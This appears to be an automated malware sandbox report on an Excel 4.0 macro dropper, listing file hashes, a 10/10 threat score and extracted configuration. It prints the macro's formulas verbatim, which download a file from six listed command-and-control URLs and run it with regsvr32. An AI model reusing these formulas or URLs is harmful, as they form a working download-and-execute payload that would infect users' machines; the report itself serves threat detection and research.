General

  • Target

    20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee

  • Size

    46KB

  • Sample

    241120-fwe1js1flb

  • MD5

    8d3e65e288df71f1a9e7694d2db018c5

  • SHA1

    b9b8793c46df93cbd6cd97c673d05f15d0c08951

  • SHA256

    20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee

  • SHA512

    6777f00c97b23ea88b2851864c7250d71a98f1c3b8a7fe1c8256860ed76c7e014b51142158fbd0265e110d6963dfc5d54f63332a44d2eb667fda232ebf73611b

  • SSDEEP

    768:QwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:hWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://congresoapp2021.com/u07di/wkdehSgS/

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

http://tournhatrang.asia/cgi-bin/2gnqrN/

https://novinex.net/wp-admin/7WlWVE5fQKnZ1/

http://support.techopesolutions.com/gq2z3/31ecS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://congresoapp2021.com/u07di/wkdehSgS/

xlm40.dropper

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

xlm40.dropper

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

xlm40.dropper

http://tournhatrang.asia/cgi-bin/2gnqrN/

Targets

    • Target

      20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee

    • Size

      46KB

    • MD5

      8d3e65e288df71f1a9e7694d2db018c5

    • SHA1

      b9b8793c46df93cbd6cd97c673d05f15d0c08951

    • SHA256

      20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee

    • SHA512

      6777f00c97b23ea88b2851864c7250d71a98f1c3b8a7fe1c8256860ed76c7e014b51142158fbd0265e110d6963dfc5d54f63332a44d2eb667fda232ebf73611b

    • SSDEEP

      768:QwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:hWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks